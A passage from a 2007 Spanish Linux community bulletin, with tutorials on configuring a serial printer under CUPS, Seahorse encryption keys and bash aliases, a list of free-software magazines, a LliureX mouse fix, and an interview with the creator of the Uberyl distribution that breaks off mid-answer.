Según esto, los permisos son de lectura y escritura para el propietario y el grupo, y ninguno

para el resto. El propietario es root, y pertenece al grupo dialout.

Si la impresora la vamos a utilizar únicamente desde la máquina donde está conectada, es

suficiente añadir los usuarios al grupo dialout. Esto puede hacerse, entre otras formas, así

(como root):

# gpasswd -a usuario dialout

Pero si, como es mi caso, necesitamos que imprima más gente, y algunos de ellos desde

máquinas Windows®, hay que cambiarle los permisos para que todo el mundo pueda escribir

en ella. Esto es lo más fácil y cómodo para evitar los problemas relacionados con el login de los

usuarios, passwords y esas cosas. En mi red no se conecta nadie directamente al /home de

Linux desde los Windows®, si no que se accede a un directorio compartido a través de samba,

que es donde están los datos. También comparto dos impresoras, una en el puerto paralelo, y

esta otra que he podido conectar a un puerto serie.

Una vez cambiados los permisos, cosa que suelo hacer utilizando números, también llamado

método "absoluto", con

# chmod 0666 /dev/ttyS0

Me encontré con que a cada reinicio del sistema los perdía, y /dev/ttyS0 volvía a aparecer sin

los permisos de escritura para todo el mundo. Al no tratarse de un módem, no me preocupa el

tema de la seguridad, de modo que tuve que ingeniarme una forma de mantener el estado de

los permisos de /dev/ttyS0, para lo que hice lo siguiente.

Creé un archivo llamado permisosttyS0 y lo copié a /etc/init.d dándole permiso de ejecución. El

contenido del archivo es la única siguiente línea:

Page 82: Mega Boletin Fent Linux 2007

chmod 0666 /dev/ttyS0

Luego, para que ese archivo se ejecute tras cada reinicio del sistema, utilicé el siguiente

comando, disponible en Debian (como root):

# update-rc.d permisosttyS0 start 80 2 3 4 5 .

El punto del final hay que ponerlo.

Esto le dice al sistema que coloque un enlace al archivo permisosttyS0 (el cual debe estar en

/etc/init.d) para ser ejecutado al iniciar, con prioridad 80 en los niveles de ejecución 2, 3, 4 y 5.

Si no funcionase, lo más probable es que haya que cambiar la prioridad, 80, por otra más alta

(=posterior), digamos 99, para ir sobre seguro.

Si no usas Debian, y también tienes este problema, la idea consiste en crear un proceso, o un

script, que se ejecute después (de ahí la importancia del número que indica la prioridad) del

proceso que cambia los permisos al iniciar el sistema. La documentación de tu distribución

debería indicar donde están los niveles y los scripts de inicio. En Debian, los niveles se

encuentran en /etc/rcN.d (donde N es un número del 0 al 6) y los scripts y procesos que se

cargan al inicio están en /etc/init.d. Sobre cómo añadir procesos al sistema, o ejecutar scripts al

inicio del mismo, es algo de lo que también deberás informarte en la documentación de tu

distro. Lo mismo es más práctico añadir esa línea a cualquiera de los scritps de inicio; aunque

tal vez haya que probar varios hasta encontrar uno que se ejecute después del cambio de los

permisos; pero ésta me ha parecido la forma más correcta, o más clara, de hacerlo, lo cual no

quiere decir en absoluto que lo sea. :-)

Según mi experiencia, los parámetros a configurar para una impresora serie son la velocidad,

la paridad y el tamaño de palabra.

El siguiente paso va a consistir en ver si el dispositivo serie /dev/ttyS0 está sincronizado con la

impresora. Esto puede verse con el comando stty (como root), y la salida que obtengo es la

siguiente:

# stty -a -F /dev/ttyS0

speed 9600 baud; rows 0; columns 0; line = 0;

intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = ; eol2 = ;

swtch = ; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; flush = ^O;

min = 1; time = 0;

-parenb -parodd cs8 hupcl -cstopb cread clocal -crtscts

-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany

- imaxbel

-iutf8

opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0

isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke

~#

De la salida del comando anterior, los puntos a tener en cuenta son los resaltados:

Page 83: Mega Boletin Fent Linux 2007

speed 9600 baud (velocidad).

parenb (genera y espera un bit de paridad (= paridad par))

parodd (fija la paridad a impar)

cs8 (tamaño del carácter (=longitud de palabra) de 8 bit)

ignpar (ignora caracteres con errores de paridad)

parmrk (marca errores de paridad)

inpck (comprueba la paridad en las entradas)

No obstante, un vistazo más detenido a la página de su manual, anteriormente enlazada, nos

debería aclarar cualquier otra duda sobre los diferentes modos que soporta el comando stty.

Cuando el modo está precedido del signo '-' (menos) significa que la característica está

desactivada, así que tenemos que los valores correspondientes a /dev/ttyS0 concuerdan con la

configuración de la impresora: la velocidad es de 9600 bps, la palabra es de 8 bits (cs8), y está

desactivado todo lo que tiene que ver con la paridad.

Pero, si tuviésemos que modificar algún dato, por ejemplo, si la impresora funcionase a 4800

baudios, se haría del siguiente modo:

# stty 4800 -F /dev/ttyS0

suponiendo que nuestra impresora esté conectada al puerto serie /dev/ttyS0 que, en

Windows®, equivale al COM1, siendo el /dev/ttyS1 el equivalente al COM2 y así

sucesivamente. En lugar de 9600 puede utilizarse cualquier otro valor aceptado por el puerto

serie y por la impresora, naturalmente. Los valores suelen ser, por lo general, los siguientes

(para el UART 16550A) en bps:

110, 300, 1200, 2400, 4800, 9600, 19200, 38400, 57600, 115200.

No conviene configurar la impresora a valores por encima de 9600 porque esto es lo máximo

que, de momento, admite CUPS.

El comando

# setserial -a /dev/ttyS0

Nos informará del UART que, normalmente, será el 16550A.

Dado que el comando stty tiene sus particularidades, que ni siquiera aparecen en la página del

manual, como es el caso del parámetro -F, sería conveniente leerse con atención lo que hay en

este enlace. No obstante, la manera genérica de modificar los modos y valores de un

determinado puerto serie sería (como root, claro):

# stty [modo] -F /dev/ttySN

# stty -inpck -F /dev/ttyS0 (desactiva inpck)

# stty inpck -F /dev/ttyS0 (activa inpck)

Page 84: Mega Boletin Fent Linux 2007

Instalándola con CUPS

Cups tiene algo escondidillo el modo de utilizar una impresora serie, pero tuve

suertecilla y dí con él en sus propios foros. Eso fue lo único que consiguió orientarme.

Primero, hay que hacer un

# ls -l /usr/lib/cups/backend

Y mirar si hay algo, normalmente un enlace simbólico, llamado "serial".

En caso de no haberlo, que es lo normal, el "protocolo", por llamarlo de algún modo, serial,

deberá estar en /usr/lib/cups/backend-available, así que no hay más que crear un enlace:

# ln -s /usr/lib/cups/backend-available/serial /usr/lib/cups/backend/serial

El enlace también podría ser "duro", si omitimos el parámetro -s, e incluso el path puede ser

relativo si lo hacemos desde dentro de la carpeta /usr/lib/cups/backend, pero yo lo tengo hecho

así. El problema que puede surgir (y a mí me ha surgido) es que, a cada actualización de CUPS,

el enlace desaparezca. Esto puede ser evitado marcando el paquete cups para que no se

actualice más, cosa que no me parece los más apropiado, o volviendo a crear el enlace cada

vez que desaparezca, que es el método que estoy utilizando, ya que no se me ha ocurrido

ninguna otra cosa al respecto para mantenerlo, análogamente a lo que hice con los permisos

del puerto serie.

Vistos los preliminares, vamos ahora con la configuración de CUPS, propiamente dicha, último

paso necesario para la puesta en funcionamiento de la impresora.

Así, pues, abrimos nuestro navegador web y nos vamos a http://localhost:631/, pinchando a

continuación en "añadir impresora". En la nueva página, se nos pide el nombre, la ubicación y

una descripción de la misma. Ahí debemos poner exactamente lo que nos dé la gana, pero es

obvio que, cuanto más sentido tenga lo que pongamos en relación con lo que estamos

haciendo, más mejor.

En mi caso, tengo:

Nombre: epson

Ubicación: Servidor-ttyS0

Descripción: Impresora matricial epson LX-300

Pinchamos en "siguiente" y nos pide el tipo de conexión. Yo tengo puesto lo que me salió por

defecto: AppSocket/HP JectDirect.

De nuevo le damos a "siguiente" y a continuación se nos pide el "URI de la conexión" para el

nombre de impresora que hayamos dado. Aquí está la clave del asunto y el por qué del enlace

/usr/lib/cups/backend/serial. Las opciones disponibles en este punto se corresponden con el

contenido de /usr/lib/cups/backend.

Así que hay que poner serial:/dev/ttyS0. De no haber creado el enlace, esta orden no tendría

efecto y la impresora no funcionaría. Luego de pinchar una vez más en "siguiente", vemos

esto:

Page 85: Mega Boletin Fent Linux 2007

La imagen aparece con los valores correctos para mi impresora, pero creo que está lo

suficientemente claro lo que hay que poner en cada casillero: la velocidad, la paridad, el

tamaño de palabra, o bits de datos por carácter, y el control de flujo que, normalmente, será

"Ninguno". No hay necesidad de complicarse con esto último, según parece, pero podría darse

el caso de que la impresora tuviese otra cosa configurada, así que habrá que estar al tanto, por

si acaso.

Y, para finalizar, en las dos siguientes ventanas, elegimos la marca o fabricante y el

controlador (driver) de la impresora.

Aunque la mía es "epson", y eso es lo que he puesto, también he probado "Raw" y funciona.

Podemos considerar a "Raw" como un tipo de impresora genérica de líneas.

La última de las ventanas de configuración presenta el aspecto de la siguiente imagen para

una impresora marca "Epson". Como la mía es de 9 agujas, pues nada más que añadir al

respecto: "una imagen vale más que mil palabras" :-). Pinchando en "Modificar impresora"

tendrán efecto los cambios realizados. En el caso de haber elegido "Raw" sólo aparecerá una

opción, así que se marca y andando.

Page 86: Mega Boletin Fent Linux 2007

Para finalizar, sólo nos quedarían dar un repaso a un par de cosas:

Primero, pinchamos en la pestaña "Impresoras" de la ventana de CUPS, y nos fijamos en los

botones seleccionables de la que acabamos de configurar:

Pinchamos en

"Cambiar opciones impresora", y le damos un repaso, sobre todo al tamaño del papel y a la

resolución. A mí me va bien con lo siguiente:

Page 87: Mega Boletin Fent Linux 2007

Y, por fin, podemos reiniciar el servidor cups, por si acaso:

# /etc/init.d/cupsys restart

Ahora disponemos de una impresora matricial, útil y de coste barato, si tenemos que producir

informes internos, o albaranes de entrega de mercancía, o cualquier otro tipo de listado que no

necesite de presentaciones gráficas, o más vistosas, que unas simples líneas de texto y que

puede ser usada desde un puerto serie, no impidiendo, por tanto, tener otra de mejor calidad

conectada al puerto paralelo.

Lo de cómo preparar los listados de tu aplicación para que salgan por ella es asunto más bien

de programación. Deduzco, si has tenido paciencia para leerte todo lo anterior, que sabes, o

puedes, hacerlo, pero dicho sea de paso que es suficiente con generar un archivo de texto

llano, con caracteres de control tipo esc-p para indicar los saltos de línea, nueva página,

tamaño y tipo de letra... etc. ;-).

Ahora se puede utilizar con cups, es decir, seleccionarla en las aplicaciones que lo permitan, y

configurarla en red como cualquier otra. También es posible su uso, como no, en la línea de

comandos, de las siguientes formas:

$ lpr -Pepson archivo

$ lp -d epson archivo

O también

$ cat archivo > /dev/ttyS0

Page 88: Mega Boletin Fent Linux 2007

2. Seahorse, claves de encriptación bajo Gnu/linux

Por vl@d.

Muchas veces hemos de encriptar algún archivo para enviarlo por correo a otra persona

y asegurarnos de que nadie mas va a poder leer su contenido. Bajo el sistema operativo

GNU/Linux, tenemos la excelente herramienta GnuPG, con la que a través de una línea de

comandos vamos a poder realizar todo el proceso de generación de clave, exportación a un

servidor, importación desde el mismo u otro y por supuesto, almacenamiento de las mismas y

desencriptación de archivos.

Pero al contrario de lo que muchos piensan, Linux también ofrece todas su posibilidades dentro

del entorno gráfico, con lo que todos, amantes de la consola o fanáticos de las ventanas,

pueden darse por satisfechos. En esta ocasión vamos a hablaros de Seahorse, una aplicación

gráfica propia del entorno Gnome, con la que podemos trabajar cómodamente a la hora de

generar y manejar claves de encriptación.

Lo primero por supuesto es instalar el programa, dado que este manual ha sido realizado bajo

Ubuntu, lo instalaremos con el comando apt:

vlad@ubuntu:~$ sudo apt-get install seahorse

Luego lo ejecutamos y nos aparecerá la siguiente ventana:

Pinchamos en Clave/Generar clave y nos aparece lo siguiente:

Page 89: Mega Boletin Fent Linux 2007

Vamos a centrarnos en la clave para encriptar correos y archivos, que sin duda es la que mas

vamos a usar. La seleccionamos y hacemos click en Continuar. Nos pedirá unos datos que

hemos de rellenar antes de comenzar el proceso de generación de clave, así como unas

opciones avanzadas, tipo de encriptado o fuerza de la clave:

Lo siguiente que nos pedirá será la contraseña para acceder a la clave tras lo cual se generará

la misma:

Page 90: Mega Boletin Fent Linux 2007

A continuación vamos a ver un ejemplo práctico de encriptación de un archivo. para ello

abrimos el editor de textos de Gnome y escribimos algo. Luego pinchamos en Editar/Encriptar y

nos aparecerá una ventana en la que podemos elegir entre todas claves disponibles en nuestro

sistema:

Elegimos la que queramos y damos en Aceptar. Luego cuando nosotros o alguien quiera

acceder al contenido de ese archivo, habrá que introducir la contraseña en la ventana que nos

aparecerá, generándose automáticamente el archivo ya desencriptado.

Seahorse, también incorpora entre sus posibilidades, importar o exportar claves públicas a los

servidores en internet específicamente destinados a ello. Sin duda Seahorse es otra de las

muchas herramientas útiles de nuestro querido GNU/Linux.

3. Alias en consola

Por the_ma3x.

Personalizando nuestros comandos preferidos.

A pesar de que los avances dentro de linux han hecho este muy sencillo de usar y que

el uso de la consola esta siendo relegado a aplicaciones gráficas, muchos seguimos usando la

consola para ciertas tareas, que o no son posibles hacerlas mediante aplicaciones gráficas o

simplemente porque nos gusta hacerlo.

En este caso, podemos llegar a escribir constantemente comandos de forma repetitiva, pero

puede llegar a ser pesado aún con la opción de auto completar rutas y comandos con la tecla

de tabulación, o con el historial de los últimos comandos ejecutados. Por lo que la consola

incorpora una opción que puede sernos de gran utilidad y ayudarnos un poco a la hora de

Page 91: Mega Boletin Fent Linux 2007

escribir estas instrucciones.

¿Y como hacer esto?

Bueno, pues la consola tiene los Alias. Un alias es una abreviatura de un comando.

Estos se pueden establecer en una sesión y ser temporales o ser permanentes.

¿Como crear un alias?

El alias es una instrucción bastante simple, basta que tecleamos en una consola la

siguiente instrucción:

alias nombre_asignado="comando"

Por lo que podríamos crear un alias llamado actualizar y que actualice nuestros repositorios de

nuestra distribución, quedando:

alias actualizar="sudo apt-get update"

Luego, en la consola escribimos actualizar y nos pedirá el password ya que hemos incluido

sudo en la instrucción. Pero podemos hacer que este alias nos actualice repositorios y además

nos inicie la descarga si es que hay actualizaciones disponibles, para eso quedaría de esta

forma:

alias actualizar="sudo apt-get update; apt-get dist-upgrade -y"

Y listo, escribimos en la consola actualizar y ejecutara las 2 instrucciones que contiene el alias.

O por ejemplo queremos buscar un paquete en los repositorios y creamos un alias llamado

busca, el cual tendrá la siguiente línea:

alias busca="sudo apt-cache search"

Y lo llamamos y añadimos el paquete que queremos buscar.

busca amsn

Esto buscara el paquete y nos dirá si existe o no, así que notarán que los alias son dinámicos,

es como escribir el comando completo y permite mezclar varios alias en una sola instrucción.

Esto puede ser muy útil si tenemos tareas repetitivas y que conllevan el uso de varios

comandos. Los ponemos todos en uno o varios alias y los llamamos.

¿Como guardar los alias?

Como lo había mencionado antes, el alias lo podemos definir durante la sesión en la

consola que tenemos, pero al cerrar la consola se perderán esos alias. Para evitar esto y hacer

nuestros alias permanentes, tendremos que editar un archivo llamado .bashrc. Este archivo

se encuentra localizado en nuestro home. (/home/usuario/.bashrc) por lo que solo tendremos

que escribir:

gedit /home/usuario/.bashrc

Page 92: Mega Boletin Fent Linux 2007

Y buscaremos las siguientes líneas:

#if [ -f ~/.bash_aliases ]; then

# . ~/.bash_aliases

#fi

Las descomentamos para que queden así:

if [ -f ~/.bash_aliases ]; then

. ~/.bash_aliases

fi

Guardamos los cambios y ahora crearemos el archivo .bash_aliases

gedit /home/usuario/.bash_aliases

Y ahí escribiremos todos los alias que queramos. Guardamos los cambios y cerramos la

consola. Abrimos una nueva sesión de la consola y escribimos alias para que nos muestre

todos los alias reconocidos. Yo tengo estos:<;/p>

thema3x@thema3x-laptop:~$ alias

alias actualiza='sudo aptitude update'

alias apagate='sudo shutdown -h'

alias busca='sudo apt-cache search'

alias instala='sudo aptitude install'

alias ls='ls --color=auto'

Una observación más al definir alias en las sesiones y es que si se define un alias en la sesión

con un nombre en particular y ya existe un alias predefinido con ese mismo nombre dentro de

la sesión o en el archivo .bash_aliases, la última instrucción definida será la que ejecute al

llamar el alias.

No hay de que preocuparse por los alias definidos permanentemente, en el momento de abrir

otra consola, se restaurara el comando definido en el archivo .bash_aliases

Tomando estas instrucciones, tendremos nuestros comandos favoritos personalizados y listos

para ser utilizados.

4. Magazines, boletines y documentación libre

Por cocolino.

En el presente artículo y coincidiendo con el quinto boletín online de FL y la reciente

publicación de nuestro 4 magazine, repasamos la actualidad de magazines y revistas de

similares características a esta que hoy nos une, por ello recopilamos en una serie de reseñas,

y tal y como venimos haciendo desde hace tiempo en el foro, en portada de la web y sirve para

Page 93: Mega Boletin Fent Linux 2007

actualizar nuestra primera recopilación, con el fin de que el usuario final tenga muchas más

opciones donde poder escoger.

En un análisis rápido nos encontramos con que por un lado existen revistas de tema general,

dedicadas al software libre, otras más propias de cada distribución y que normalmente se

utilizan para contar lo más último de dicha distribución a modo de resumen, algunas dedicadas

a aspectos mucho más específicos y por último haremos mención a las revistas de pago, que

facilitan algún que otro número o artículo para descarga gratuita.

Normalmente se presentan en formato pdf, ya sea comprimido o no, más o menos libres, y son

de gratuita descarga para todos.

Magazines o revistas de amplio espectro:

* Desde LinuxChillan, comunidad de software libre Chillaneja, es posible disfrutar de la Begins

"La revista del software libre y código abierto". Hasta la fecha se han publicado 11

números, de libre descarga, en formato de pdf, o de pdf comprimido en Gzip. Para recibir todo

tipo de información sobre ella, cuenta con servicio de subscripción De tirada bimensual. En

español.

* Revista SL: el software libre hecho revista. De la que se han publicado 7 números, en

español, en formato pdf.

* Desde Mexico Software libre para ti Libertad para tu PC. Disponibles hasta la fecha 5 números

en formato pdf comprimido, en español. De tirada más o menos bimensual.

* Revista sobre el Software libre en la educación y en Colombia ACLibre. Conocida con el

nombre de ESSENTIA LIBRE de la que se han publicada hasta la fecha 7 números.

revista Colombiana de tecnologías y Conocimiento Libre

* free software magazine dedicado al software libre en inglés, con posibilidad e suscripción, de

la que se han publicado 18 números.

* tux magazine revista en pdf dedicada a gnu/linux en inglés, necesaria suscripción para poder

descargarla.Descontinuada.

* o3 Magazine, enfocada a profesionales, con cinco números publicados y con posibilidad de

suscripción. En inglés.

* NNL Newsletter no únicamente linux, pero si lo tratan. Cuenta con servicio de suscripción. En

español.

* Linux focus: revista internacional y libre sobre GNU/linux. Hace ya mucho que no presentan

novedades.

* La conocida Linux Gazette, de tirada mensual, en inglés en formato online, con mirror en

español, Gaceta de linux, si bien este se encuentra muy desactualizado.

Reseñamos también otro tipo de boletín y documentación especial a tener en cuenta, recién

Page 94: Mega Boletin Fent Linux 2007

nacidos con cositas la mar de interesante.

* Wadal eZine desde la comunidad de Wadalbertia y en formato pdf publican un especial

navideño que quien sabe si tendrá o no continuidad pero que ya quedo para siempre entre

nosotros

* MiniMiniM dedicada a la informática y el software libre. Hasta la fecha tres números. En

formato pdf.

* Occam's Razor dedicada al mundo científico y tecnológico, en PS.GZ o PDF. Hasta la fecha dos

número. Muy nueva del 2007.

* Revista UXI, 8 números publicados. De la que aún poco conocemos, por ello os dejo el

presente enlace.

* Cultura Libre - Qespisqa Kawsay. Dos interesantes números hasta la fecha.

* altmagazine.net Revista en pdf con dos números publicados, sobre Software Libre,

videojuegos (tanto retro como actuales) y scene/programación.

* Free-tux: dedicada a la difusión del movimiento del software libre en español.

* Tux Evolution, con dos números publicados, web propia, necesita registro para ser

descargada, en español e inglé sy en formato pdf.

* Tuxinfo: novedad, dedicada al software libre, de origen argentino

* Soflix - revista libre: la última en entrar en escena, dedicada al mundillo libre, en español y en

formato pdf. Cuenta con espacio propio: web.

Otro tipo de opciones igualmente válidas, Boletines de las diferentes distribuciones: Ideal

para estar al tanto de todo lo que ocurre con vuestras distros favoritas. La práctica totalidad de

ellas cuentan con un servicio más o menos similar.

* Gentoo: Qué es eso del boletín de gentoo en versión español.

La última edición traducida: aquí. (últimamente algo descuidado)

La última en inglés.

Y todas las: ediciones y números.

* Debian.

Las Noticias semanales de Debian - Índice.

La última versión en inglés

Para los boletines en español estén atentos a la lista de correos donde se suelen anunciar en

primera instancia: Por ejemplo.

* Ubuntu.

En su wiki se anuncian semanalmente.

La última versión: aquí.

Para comprobar si está disponible en español basta con agrega /ES a la URL de cualquier

edición

Page 95: Mega Boletin Fent Linux 2007

* Fedora.

Los boletines relacionadas con fedora se publican en este wiki y desde Fedora Weekly News.

* PClinuxOS: distribución en alza, que también cuenta con su propio magazine: PClinuxOS

* Sobre slackware: tenemos SlackwareZine

* Red Hat el magazine de red hat

* Linux Mint Linux Mint la reciente versión basada en ubuntu estrena boletines

* Goblinx. distribución de origen brasileño cuenta también con su propio boletón: goblinx.

* Mandriva mandriva club en español y en formato online. Último número: Mandriva Linux

Community Newsletter.

* OpenSuse: cuenta con un nuevo boletín de noticias semanales. Conocido como: openSUSE

Weekly News, para acceder a él: web.

Seguro que hay muchas más, busca si tu distro ofrece algo similar, y compartelo mientras lo

disfrutas.

Otras enfocadas a aplicaciones u temas concretos

* Sobre blender

* e-Zine InSecurity Nº: dedicada a temas de seguridad, no sólo linux, lleva tres números

publicados.

* Sobre gimp: Gimpzine, en portugues-brasileño

* gnome journal sobre gnome

* Una que solemos recoger en portada, dedicada a temas de seguridad, en inglés, de

publicación bimensual. (IN)SECURE Magazine. Con posibilidad de suscripción o canal feed para

conocer las últimas novedades. Disponible en formato pdf.

* Revista Guifi·net. En catalán sobre temas wifi.

* Revista Full Circle. Dedicada integramente a Ubuntu, en inglés, si bien suele estar disponible

a los pocos días la versión en español de la misma (esto no es así desde hace ya mucho).

* Amarok, para muchos el mejor reproductor.

* MagDriva: revista internacional 100% Mandriva de la Comunidad de usuarios germanos

MandrivaUser.de.

* Reseño una serie de fascículos sobre software libre en catalán. Fascículos.

Otras opciones, por las que primero pagas y por las que después disfrutas.

* La Revista Users Linux, de origen argentino, permite descargar en formato pdf, un año de

publicaciones. Acceso a los diferentes números publicados: aquí.

* Y aquí en España contamos con la veterana linux-magazine.es podemos agenciarnos los

Page 96: Mega Boletin Fent Linux 2007

diferentes artículos en pdf de las diferentes ediciones.

* También algún número u artículo de Todolinux puede ser descargado libremente.

* También en Linux+ dan la opción de descarga de algún número u artículos antiguos.

Con total seguridad existen muchas más opciones, y muchas más que nacerán pronto, dicho

artículo iremos actualizándolo conforme descubramos su existencia, aún así si desean

colaborar en el mantenimiento del mismo u desean aportar alguna sugerencia o detectan

algún error, no duden en ponerse en contacto con nosotros.

Y no olviden que aquí, contamos con nuestro propio magazine, modesto y humilde,

comparada con todas las opciones aquí mencionadas, pero igualmente útil y valioso, y en el

que todos podemos colaborar libremente, os esperamos: SÉ MAGAZINE.

5. Lliurex y la rueda del ratón

Por cocolino.

Para aquellos que vengan sufriendo "problemitas" con el ratón y principalmente para

aquellos a los que no les funciona la rueda del ratón, tan importante cuando nos falta (al

menos para un servidor).

La versión de linux en cuestión lliurex 5.09r2 y el ratón de esos modernitos que van por

puerto usb y que responden a la marca de microsoft.

Procedamos a solventar el problemilla. Lanzamos el terminal, nos identificamos como el

usuario todopoderoso, es decir root, y escribimos en consola.

dpkg-reconfigure xserver-xfree86

Y ale nos sale una ventanita azul para configurar un montón de cosas, si todo funciona bien lo

dejamos todo por defecto hasta que llega el momento de configurar el ratón, que allí

deberemos activar el movimiento de la rueda si esta desactivado, en mi caso lo estaba.

Salgo, pero el tema sigue sin terminar de funcionar.

Tras esto y tras contactar con el servicio del SAI, recién estrenado el presente año y del que no

puedo tener queja ya que hasta la fecha han respondido al 85% de mis necesidades (ójala todo

en lliurex funcionará igual), me dan la clave final para conseguir que el problemita deje de

serlo. Veamos.

Volvemos a lanzar el terminal, nos identificamos como root y escribimos

llxcfg-xf86cfg generate

Y ale hop, ya sólo toca reiniciar y la rueda ya funciona.

Sirva la presente entrada para agradecer al SAI sus servicios, de los como ya señale no hay

pega alguna, ahora sólo falta que lliurex este a la altura, espero que con el cambio a Ubuntu la

Page 97: Mega Boletin Fent Linux 2007

cosa mejore.

6. Entrevista a Uberyl (ahora ComFusion)

Entrevistamos a Marco A Pollolinux responsable máximo de Uberyl,

distribución incipiente basada en ubuntu con el espectáculo y maravilla de

beryl, nacida en Valencia (España)

Fentlinux (FL): ¿Qué es Uberyl?

Marco A Pollolinux (M.A.P.): Uberyl es Ubuntu y Beryl , sistema operativo y gestor de

ventanas, potencia y belleza...sin contar los otros programas que hacen de Uberyl una opción

a contemplar.

Link: http://es.wikipedia.org/wiki/Uberyl

FL.: Respecto a ti, ¿Cuál es tu función dentro del proyecto?

M.A.P.: Soy Marco A Medina (alias Pollolinux), soy creador y mantenedor de Uberyl,

autodidacta, y me encanta aprender cada día un poco más.

FL.: Tras la fusión de beryl y compiz, ¿cómo afectará a uberyl?

M.A.P.: Uberyl, debe de renovarse de acuerdo con las circunstancias que la rodean, es decir ,

adaptarse al momento, estamos en un momento de cambios y eso hace que se me compliquen

un poco las cosas, pero estoy seguro que no decepcionará a sus usuarios,(o eso espero)...

FL.: ¿Por qué beryl? ¿Qué lo hace diferente al resto? ¿qué nos ofrece? ¿a quien va dirigida?

M.A.P.: Beryl es el "gestor de ventanas" más avanzado en cuanto a belleza/rendimiento, que

existe.

Nos ofrece un aspecto visual de nuestro escritorio excelente al tiempo que nos permite un

rendimiento del sistema buenisimo.

Va dirigida a todo aquel usuario que no se conforme con un escritorio austero y sin emoción,

beryl le ofrece desenfado y dinamismo en el escritorio.

FL.: ¿Qué futuro ves en beryl considerando la popularidad de KDE y Gnome?

M.A.P.: Beryl, ( o Compiz_Fusion, como se le llamará ahora), siempre estará ahí, porque es el

complemento perfecto para Kde, Gnome y para Xfce tambien!!

Convierte tu sistema en otro...

FL.: Salió a la palestra el nombre de Compiz_fusion ¿Qué te parece el nombre escogido al final?

¿y en general la unión de ambos proyectos?

M.A.P.: Personalmente, el nombre me parece "bien", pero creo que podían haber escogido

algo mas "comercial", más corto y más sugerente tal vez...

La unión me parece perfecta, mejor imposible, siempre hay que pensar que la unión... bueno

ya sabéis, seguro que salen cosas aun mejores a partir de aquí.

Page 98: Mega Boletin Fent Linux 2007

FL.: ¿Para cuando una versión estable de Uberyl?

M.A.P.: Estoy en ello, no quiero demorarlo mucho, creía que la iba a tener para esta semana

incluso, pero algún que otro "handycap" no me lo va hacer posible, espero que pronto, muy

pronto...

FL.: Hablemos acerca del proyecto, aún en su fase de construcción, ¿cuándo comenzó?

¿Cuáles son los planes para el mismo?

M.A.P.: En mi cabeza ya llevaba unos cuantos meses, pero al efecto , allá por el mes de Marzo

vió la luz y desde entonces se propagó muy rápidamente, tanto, que ha habido momentos en

los que me ha sorprendido.

Los planes para Uberyl?, pues ahora mismo sacar una versión, "estable" y que sea muy

"usable".

FL.: ¿Cual es la intención? ¿Habrá una versión de Uberyl tal como las de Kubuntu, Xubuntu

y Edubuntu, con sus propios sitios web e imágenes ISO descargables cada 6 meses?

M.A.P.: La intención es hacer que el usuario que proviene de otros sistemas operativos,

contemple Uberyl/Ubuntu/LINUX, en general, como una opción más a considerar , e incluso,

hacer que la balanza se incline hacia nuestro lado.

FL.: ¿Cuántas personas hay colaborando o detrás del proyecto?

M.A.P.: Uberyl es creación y gestión de una sola persona, yo, pero... Colaborando?, muchas,

porque si algo tiene de bueno Uberyl/Ubuntu/Linux es que hay unión , comunidad, y es algo

que agradezco.

Por citar algunos usuarios/colaboradores; Diego González "Klokox", Alberto Milone (por crear

Envy), Javier Aroche, "Charro", "PoZu", Alberto Luebbert,"Aabilio", Carlos López y Pedro Mulas,

entre otros...

FL.: ¿Qué hay con la relación con la gente de Ubuntu? ¿Reciben algún tipo de soporte de parte

de ellos?

M.A.P.:No tengo ninguna relación con la gente de ubuntu, hoy por hoy...

Por lo tanto recibo el mismo soporte que cualquier usuario, pero no importa, somos muchos los

usuarios compartiendo ideas ...

FL.: Hablemos de los mayores desafíos, ¿cuáles problemas hay en el desarrollo y

mantenimiento de Uberyl?

M.A.P.: Pues mi mayor problema es la falta de tiempo material, como no me dedico a esto, (es

decir no vivo de ello), compagino mi trabajo con Uberyl, por lo que siempre me falta tiempo, y

no hablemos de los recursos, pero me enorgullece saber que estoy ahí, y que por esto no me

quedo atrás...

Me gustaría un día tener el tiempo y los medios para aprender aún mas todavía, quizá con el

tiempo...

Page 99: Mega Boletin Fent Linux 2007

FL.: Para aquellos que vengan usando alguna versión de ubuntu podrían instalar dicha versión

desde los repositorios sin necesidad de nuevas instalaciones ni de descargar la versión en cd?

M.A.P.: No, no es posible todavía hacer esto, estoy limitado aún, como ya he comentado.

FL.: Sabemos que desde ubuntu no podemos instalar uberyl tal y como está hoy, y al revés,

es posible desde uberyl instalar ubuntu?

M.A.P.: Uberyl es Ubuntu, no precisas de instalar nada porque Uberyl es la propia

distribución base pero intentando "mejorarla" para el usuario nobel en Linux, para que se

sienta cómodo y vea que Uberyl es fácil , varias veces más rápido que otros sistemas, y que a

la "vista" es mucho mas bonito de lo que el ha visto hasta ahora.

FL.: UBeryl incluye también el entorno E17 ¿por qué esta elección?

M.A.P.: Enlightenment 17 , la escogí por su belleza y rapidez de movimiento, como una

alternativa a gnome, pero últimamente gnome me esta gustando tanto y es tan funcional hasta

con aplicaciones Kde, que me planteo poner E17 para la próxima distro u ocupar su espacio

con otras cosas...

FL.: ¿cómo tienes pensando gestionar su mantenimiento? ¿algún plan al respecto?

M.A.P.: La verdad es que no mucho, imagino que con mis escasos recursos y tiempo, (creo que

ya he mencionado que no tengo "sponsor" ni aportación alguna), deberé seguir como hasta

ahora, gastando mi tiempo en ello y pidiendo de vez en cuando ayuda a la comunidad, que eso

si, tengo que agradecer mucho, sobre todo a Javier Aroche por su hosting para la distro Uberyl

beta, a Marconi Poveda por alojar Uberyl Alpha, a Charro por alojar Uberyl beta, a Klokox

por sus diseños e ideas, y a todos los demás por sus traducciones y apoyo.

FL.: Alrededor de Ubuntu y sus derivados, siempre han habido comentarios y desconfianza

acerca de un posible "doble juego" de parte de Mark Shuttleworth, ¿cuál es tu opinión al

respecto?

M.A.P.: Mark, me parece una persona "que ha viajado al espacio", me explico, dicen que

cuando has salido fuera del globo y lo has mirado desde el universo, ves tu camino más claro,

eso creo que es lo que le pasó a el...o lo aparenta.

No creo que sea una persona a la que le haga falta llevar un "doble juego".

FL.: ¿Ubuntu ó Debian?

M.A.P.:Indudablemente Ubuntu, Debian es el padre , hay que darle todo lo posible, Ubuntu

